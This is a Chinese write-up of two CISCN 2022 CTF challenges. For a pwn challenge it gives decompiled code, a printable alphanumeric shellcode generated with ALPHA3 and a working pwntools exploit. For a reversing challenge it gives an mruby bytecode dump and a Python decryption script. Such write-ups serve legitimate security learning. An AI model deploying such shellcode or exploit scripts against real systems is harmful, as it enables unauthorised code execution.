考研选手来摸鱼。
今年国赛菜得很快乐,趟得也很快乐~
PWN 吐槽:相比于去年啥都不会(当时连堆都没接触过),今年终于做出题了,虽然不是堆题。堆的 libc 更新太快了,我连 2.27 都没搞明白,2.33、2.34的就来了(老人疑惑
login_normal 保护全开。这道题分析好代码就会写了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 void __fastcall __noreturn main (__int64 a1, char **a2, char **a3) { char s[1032 ]; unsigned __int64 v4; v4 = __readfsqword(0x28 u); init_(); while ( 1 ) { memset (s, 0 , 0x400 uLL); printf (">>> " ); read(0 , s, 0x3FF uLL); menu(s); } }
首先是main
函数,就是一个循环,读入输入,看不出啥名堂,进入menu
看看。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 unsigned __int64 __fastcall menu (_BYTE *our_input) { char *sa; char *sb; char *sc; char *sd; char v7; int v8; int v9; void *dest; char *s1; char *nptr; unsigned __int64 v13; v13 = __readfsqword(0x28 u); memset (qword_202040, 0 , sizeof (qword_202040)); v8 = 0 ; v7 = 0 ; dest = 0LL ; while ( !*our_input || *our_input != 0xA && (*our_input != 13 || our_input[1 ] != 10 ) ) { if ( v8 <= 5 ) qword_202040[2 * v8] = our_input; sb = strchr (our_input, ':' ); if ( !sb ) { puts ("error." ); exit (1 ); } *sb = 0 ; for ( sc = sb + 1 ; *sc && (*sc == ' ' || *sc == '\r' || *sc == '\n' || *sc == '\t' ); ++sc ) *sc = 0 ; if ( !*sc ) { puts ("abort." ); exit (2 ); } if ( v8 <= 5 ) qword_202040[2 * v8 + 1 ] = sc; sd = strchr (sc, 10 ); if ( !sd ) { puts ("error." ); exit (3 ); } *sd = 0 ; our_input = sd + 1 ; if ( *our_input == 13 ) *our_input++ = 0 ; s1 = qword_202040[2 * v8]; nptr = qword_202040[2 * v8 + 1 ]; if ( !strcasecmp(s1, "opt" ) ) { if ( v7 ) { puts ("error." ); exit (5 ); } v7 = atoi(nptr); } else { if ( strcasecmp(s1, "msg" ) ) { puts ("error." ); exit (4 ); } if ( strlen (nptr) <= 1 ) { puts ("error." ); exit (5 ); } v9 = strlen (nptr) - 1 ; if ( dest ) { puts ("error." ); exit (5 ); } dest = calloc (v9 + 8 , 1uLL ); if ( v9 <= 0 ) { puts ("error." ); exit (5 ); } memcpy (dest, nptr, v9); } ++v8; } *our_input = 0 ; sa = our_input + 1 ; if ( *sa == 10 ) *sa = 0 ; switch ( v7 ) { case 2 : backdoor(dest); break ; case 3 : sub_EFE(dest); break ; case 1 : root(dest); break ; default : puts ("error." ); exit (6 ); } return __readfsqword(0x28 u) ^ v13; }
接下来再来看看root
函数里有什么:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 unsigned __int64 __fastcall sub_CBD (const char *a1) { int i; unsigned __int64 v3; v3 = __readfsqword(0x28 u); for ( i = 0 ; i < strlen (a1); ++i ) { if ( !isprint (a1[i]) && a1[i] != 10 ) { puts ("oh!" ); exit (-1 ); } } if ( !strcmp (a1, "ro0t" ) ) { unk_202028 = 1 ; unk_202024 = 1 ; } else { unk_202028 = 1 ; } return __readfsqword(0x28 u) ^ v3; }
再来看下backdoor
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 unsigned __int64 __fastcall sub_DA8 (const char *a1) { unsigned int v1; size_t v2; int i; void *dest; unsigned __int64 v6; v6 = __readfsqword(0x28 u); for ( i = 0 ; i < strlen (a1); ++i ) { if ( !isprint (a1[i]) && a1[i] != 10 ) { puts ("oh!" ); exit (-1 ); } } if ( unk_202028 != 1 ) { puts ("oh!" ); exit (-1 ); } if ( unk_202024 ) { v1 = getpagesize(); dest = mmap(&loc_FFE + 2 , v1, 7 , 34 , 0 , 0LL ); v2 = strlen (a1); memcpy (dest, a1, v2); (dest)(); } else { puts (a1); } return __readfsqword(0x28 u) ^ v6;
总的来说,是一道编写可见字符串的shellcode
题型,我们利用alpha3
工具便可生成基于rdx
的可打印shellcode
:
1 2 giantbranch@ubuntu:~/buupwn/mrctf/alpha3$ python ./ALPHA3.py x64 ascii mixedcase rdx --input="shellcode" Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a071N00
有如下 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import *io=process("./login" ) context.arch='amd64' io.recvuntil(">>> " ) io.send("opt:1\nmsg:ro0tt\n\n:1" ) shellcode='Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a071N00' io.send("opt:2\nmsg:" +shellcode+"\n\n:2" ) io.interactive()
RE baby_code(未解出 先放篇大佬的文章在这里——mruby字节码逆向入门
Wankko Ree の Blog
.mrb
可知是mruby
解释器生成的字节码。从其文件头字节码可以看出使用的mruby
版本
利用./mruby -v -b *.mrb
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 giantbranch@ubuntu:~/ciscn2022/mruby/mruby/bin$ ./mruby -v -b babycode.mrb mruby 3.1 .0 (2022 -05 -12 ) irep 0x18b1a90 nregs=5 nlocals=2 pools=1 syms=5 reps=2 ilen=55 local variable names: R1:p 000 LOADNIL R2 002 LOADNIL R3 004 CLASS R2 :Crypt 007 EXEC R2 I(0 :0x18b3a80 ) 010 TCLASS R2 012 METHOD R3 I(1 :0x18b4320 ) 015 DEF R2 :check 018 SSEND R2 :gets n=0 022 SEND R2 :chomp n=0 026 MOVE R1 R2 ; R1:p 029 MOVE R3 R1 ; R1:p 032 SSEND R2 :check n=1 036 JMPNOT R2 050 040 STRING R3 L(0 ) ; yes 043 SSEND R2 :puts n=1 047 JMP 052 050 LOADNIL R2 052 RETURN R2 054 STOP irep 0x18b3a80 nregs=3 nlocals=1 pools=0 syms=1 reps=1 ilen=12 000 LOADNIL R1 002 LOADNIL R2 004 CLASS R1 :CIPHER 007 EXEC R1 I(0 :0x18b3b50 ) 010 RETURN R1 irep 0x18b3b50 nregs=3 nlocals=1 pools=0 syms=6 reps=4 ilen=55 000 LOADI32 R1 305419896 006 SETCONST XX R1 009 LOADI R1 16 012 SETCONST YY R1 015 LOADSELF R1 017 SCLASS R1 019 METHOD R2 I(0 :0x18b3c60 ) 022 DEF R1 :encrypt 025 TCLASS R1 027 METHOD R2 I(1 :0x18b3d00 ) 030 DEF R1 :encrypt 033 SSEND R1 :private n=0 037 TCLASS R1 039 METHOD R2 I(2 :0x18b4020 ) 042 DEF R1 :to_key 045 TCLASS R1 047 METHOD R2 I(3 :0x18b40f0 ) 050 DEF R1 :enc_one 053 RETURN R1 irep 0x18b3c60 nregs=9 nlocals=5 pools=0 syms=3 reps=0 ilen=29 local variable names: R1:t R2:p R3:& R4:cip 000 ENTER 2 :0 :0 :0 :0 :0 :0 (0x80000 ) 004 GETCONST R5 CIPHER 007 SEND R5 :new n=0 011 MOVE R4 R5 ; R4:cip 014 MOVE R5 R4 ; R4:cip 017 MOVE R6 R1 ; R1:t 020 MOVE R7 R2 ; R2:p 023 SEND R5 :encrypt n=2 027 RETURN R5 irep 0x18b3d00 nregs=16 nlocals=11 pools=1 syms=8 reps=1 ilen=346 local variable names: R1:t R2:p R3:& R4:key R5:c R6:n R7:num1 R8:num2 R9:enum1 R10:enum2 000 ENTER 2 :0 :0 :0 :0 :0 :0 (0x80000 ) 004 MOVE R12 R2 ; R2:p 007 SSEND R11 :to_key n=1 011 MOVE R4 R11 ; R4:key 014 ARRAY R5 R5 0 ; R5:c 017 LOADI_0 R6 ; R6:n 019 MOVE R11 R6 ; R6:n 022 MOVE R12 R1 ; R1:t 025 SEND R12 :length n=0 029 LT R11 R12 031 JMPNOT R11 327 035 MOVE R11 R1 ; R1:t 038 MOVE R12 R6 ; R6:n 041 GETIDX R11 R12 043 SEND R11 :ord n=0 047 SEND R11 :to_i n=0 051 LOADI R12 24 054 SEND R11 :<< n=1 058 MOVE R7 R11 ; R7:num1 061 MOVE R11 R7 ; R7:num1 064 MOVE R12 R1 ; R1:t 067 MOVE R13 R6 ; R6:n 070 ADDI R13 1 073 GETIDX R12 R13 075 SEND R12 :ord n=0 079 SEND R12 :to_i n=0 083 LOADI R13 16 086 SEND R12 :<< n=1 090 ADD R11 R12 092 MOVE R7 R11 ; R7:num1 095 MOVE R11 R7 ; R7:num1 098 MOVE R12 R1 ; R1:t 101 MOVE R13 R6 ; R6:n 104 ADDI R13 2 107 GETIDX R12 R13 109 SEND R12 :ord n=0 113 SEND R12 :to_i n=0 117 LOADI R13 8 120 SEND R12 :<< n=1 124 ADD R11 R12 126 MOVE R7 R11 ; R7:num1 129 MOVE R11 R7 ; R7:num1 132 MOVE R12 R1 ; R1:t 135 MOVE R13 R6 ; R6:n 138 ADDI R13 3 141 GETIDX R12 R13 143 SEND R12 :ord n=0 147 SEND R12 :to_i n=0 151 ADD R11 R12 153 MOVE R7 R11 ; R7:num1 156 MOVE R11 R1 ; R1:t 159 MOVE R12 R6 ; R6:n 162 ADDI R12 4 165 GETIDX R11 R12 167 SEND R11 :ord n=0 171 SEND R11 :to_i n=0 175 LOADI R12 24 178 SEND R11 :<< n=1 182 MOVE R8 R11 ; R8:num2 185 MOVE R11 R8 ; R8:num2 188 MOVE R12 R1 ; R1:t 191 MOVE R13 R6 ; R6:n 194 ADDI R13 5 197 GETIDX R12 R13 199 SEND R12 :ord n=0 203 SEND R12 :to_i n=0 207 LOADI R13 16 210 SEND R12 :<< n=1 214 ADD R11 R12 216 MOVE R8 R11 ; R8:num2 219 MOVE R11 R8 ; R8:num2 222 MOVE R12 R1 ; R1:t 225 MOVE R13 R6 ; R6:n 228 ADDI R13 6 231 GETIDX R12 R13 233 SEND R12 :ord n=0 237 SEND R12 :to_i n=0 241 LOADI R13 8 244 SEND R12 :<< n=1 248 ADD R11 R12 250 MOVE R8 R11 ; R8:num2 253 MOVE R11 R8 ; R8:num2 256 MOVE R12 R1 ; R1:t 259 MOVE R13 R6 ; R6:n 262 ADDI R13 7 265 GETIDX R12 R13 267 SEND R12 :ord n=0 271 SEND R12 :to_i n=0 275 ADD R11 R12 277 MOVE R8 R11 ; R8:num2 280 MOVE R12 R7 ; R7:num1 283 MOVE R13 R8 ; R8:num2 286 MOVE R14 R4 ; R4:key 289 SSEND R11 :enc_one n=3 293 AREF R9 R11 0 ; R9:enum1 297 AREF R10 R11 1 ; R10:enum2 301 MOVE R11 R5 ; R5:c 304 MOVE R12 R9 ; R9:enum1 307 SEND R11 :<< n=1 311 MOVE R11 R5 ; R5:c 314 MOVE R12 R10 ; R10:enum2 317 SEND R11 :<< n=1 321 ADDI R6 8 ; R6:n 324 JMP 019 327 MOVE R11 R5 ; R5:c 330 BLOCK R12 I (0 :0x18b3f50 ) 333 SENDB R11 :collect n=0 337 STRING R12 L (0 ) ; 340 SEND R11 :join n=1 344 RETURN R11 irep 0x18b3f50 nregs=7 nlocals=3 pools=1 syms=1 reps=0 ilen=16 local variable names: R1:x R2:& 000 ENTER 1 :0 :0 :0 :0 :0 :0 (0x40000 ) 004 STRING R4 L(0 ) ; %.8 x 007 MOVE R5 R1 ; R1:x 010 SSEND R3 :sprintf n=2 014 RETURN R3 irep 0x18b4020 nregs=6 nlocals=3 pools=1 syms=1 reps=0 ilen=16 local variable names: R1:p R2:& 000 ENTER 1 :0 :0 :0 :0 :0 :0 (0x40000 ) 004 MOVE R3 R1 ; R1:p 007 STRING R4 L (0 ) ; L* 010 SEND R3 :unpack n=1 014 RETURN R3 irep 0x18b40f0 nregs=11 nlocals=8 pools=0 syms=2 reps=1 ilen=42 local variable names: R1:num1 R2:num2 R3:key R4:& R5:y R6:z R7:s 000 ENTER 3 :0 :0 :0 :0 :0 :0 (0xc0000 ) 004 MOVE R8 R1 ; R1:num1 007 MOVE R9 R2 ; R2:num2 010 LOADI_0 R10 012 MOVE R5 R8 ; R5:y 015 MOVE R6 R9 ; R6:z 018 MOVE R7 R10 ; R7:s 021 GETCONST R8 YY 024 BLOCK R9 I (0 :0x18b41c0 ) 027 SENDB R8 :times n=0 031 MOVE R8 R5 ; R5:y 034 MOVE R9 R6 ; R6:z 037 ARRAY R8 R8 2 040 RETURN R8 irep 0x18b41c0 nregs=10 nlocals=3 pools=1 syms=5 reps=0 ilen=186 local variable names: R1:i R2:& 000 ENTER 1 :0 :0 :0 :0 :0 :0 (0x40000 ) 004 GETUPVAR R3 5 0 008 GETUPVAR R4 6 0 012 LOADI_3 R5 014 SEND R4 :<< n=1 018 GETUPVAR R5 6 0 022 LOADI_5 R6 024 SEND R5 :>> n=1 028 SEND R4 :^ n=1 032 GETUPVAR R5 6 0 036 ADD R4 R5 038 GETUPVAR R5 7 0 042 GETUPVAR R6 3 0 046 GETUPVAR R7 7 0 050 LOADI R8 11 053 SEND R7 :>> n=1 057 ADDI R7 1 060 LOADI_3 R8 062 SEND R7 :& n=1 066 GETIDX R6 R7 068 ADD R5 R6 070 SEND R4 :^ n=1 074 ADD R3 R4 076 SETUPVAR R3 5 0 080 LOADL R4 L(0 ) ; 4294967295 083 SEND R3 :& n=1 087 SETUPVAR R3 5 0 091 GETUPVAR R3 7 0 095 GETCONST R4 XX 098 ADD R3 R4 100 SETUPVAR R3 7 0 104 GETUPVAR R3 6 0 108 GETUPVAR R4 5 0 112 LOADI_3 R5 114 SEND R4 :<< n=1 118 GETUPVAR R5 5 0 122 LOADI_5 R6 124 SEND R5 :>> n=1 128 SEND R4 :^ n=1 132 GETUPVAR R5 5 0 136 ADD R4 R5 138 GETUPVAR R5 7 0 142 GETUPVAR R6 3 0 146 GETUPVAR R7 7 0 150 ADDI R7 1 153 LOADI_3 R8 155 SEND R7 :& n=1 159 GETIDX R6 R7 161 ADD R5 R6 163 SEND R4 :^ n=1 167 ADD R3 R4 169 SETUPVAR R3 6 0 173 LOADL R4 L(0 ) ; 4294967295 176 SEND R3 :& n=1 180 SETUPVAR R3 6 0 184 RETURN R3 irep 0x18b4320 nregs=13 nlocals=8 pools=2 syms=7 reps=0 ilen=128 local variable names: R1:p R2:& R3:i R4:lst_ch R5:c R6:k R7:cipher_text 000 ENTER 1 :0 :0 :0 :0 :0 :0 (0x40000 ) 004 LOADI_0 R3 ; R3:i 006 LOADI_0 R4 ; R4:lst_ch 008 MOVE R8 R3 ; R3:i 011 MOVE R9 R1 ; R1:p 014 SEND R9 :length n=0 018 LT R8 R9 020 JMPNOT R8 086 024 MOVE R8 R1 ; R1:p 027 MOVE R9 R3 ; R3:i 030 GETIDX R8 R9 032 SEND R8 :ord n=0 036 MOVE R5 R8 ; R5:c 039 MOVE R8 R5 ; R5:c 042 MOVE R9 R4 ; R4:lst_ch 045 SEND R8 :^ n=1 049 MOVE R9 R3 ; R3:i 052 ADDI R9 1 055 SEND R8 :^ n=1 059 SEND R8 :chr n=0 063 MOVE R9 R1 ; R1:p 066 MOVE R10 R3 ; R3:i 069 MOVE R11 R8 072 SETIDX R9 R10 R11 074 MOVE R8 R5 ; R5:c 077 MOVE R4 R8 ; R4:lst_ch 080 ADDI R3 1 ; R3:i 083 JMP 008 086 STRING R6 L (0 ) ; aaaassssddddffff ; R6:k 089 GETCONST R8 Crypt 092 GETMCNST R8 R8::CIPHER 095 MOVE R9 R1 ; R1:p 098 MOVE R10 R6 ; R6:k 101 SEND R8 :encrypt n=2 105 MOVE R7 R8 ; R7:cipher_text 108 MOVE R8 R7 ; R7:cipher_text 111 STRING R9 L (1 ) ; f469358b7f165145116e127ad6105917bce5225d6d62a714c390c5ed93b22d8b6b102a8813488fdb 114 EQ R8 R9 116 JMPNOT R8 124 120 LOADT R8 122 RETURN R8 124 LOADF R8 126 RETURN R8
编写脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 def to_key (p ): a = [] for i in range (0 , len (p), 4 ): a.append(int (p.encode()[i:i+4 ].hex (), 16 )) return a c = "f469358b7f165145116e127ad6105917bce5225d6d62a714c390c5ed93b22d8b6b102a8813488fdb" XX = 305419896 YY = 16 key = to_key("aaaassssddddffff" ) dec = bytearray (40 ) for i in range (0 , len (c), 16 ): num1 = int (c[i:i+8 ], 16 ) num2 = int (c[i+8 :i+16 ], 16 ) y = num1 z = num2 s = 0 for _ in range (YY): s = s + XX for _ in range (YY): z = z - ((((y << 3 ) ^ (y >> 5 )) + y) ^ (s + key[(s + 1 ) & 3 ])) z = z & 0xffffffff s = s - XX y = y - ((((z << 3 ) ^ (z >> 5 )) + z) ^ (s + key[((s >> 11 ) + 1 ) & 3 ])) y = y & 0xffffffff dec[i//2 :i//2 +4 ] = bytes .fromhex(("0000" +hex (y)[2 :])[-8 :]) dec[i//2 +4 :i//2 +8 ] = bytes .fromhex(("0000" +hex (z)[2 :])[-8 :]) print (dec.hex ())lst_ch = 0 for i in range (len (dec)): c = dec[i] dec[i] = (c ^ (i + 1 )) ^ lst_ch lst_ch = dec[i] print (dec)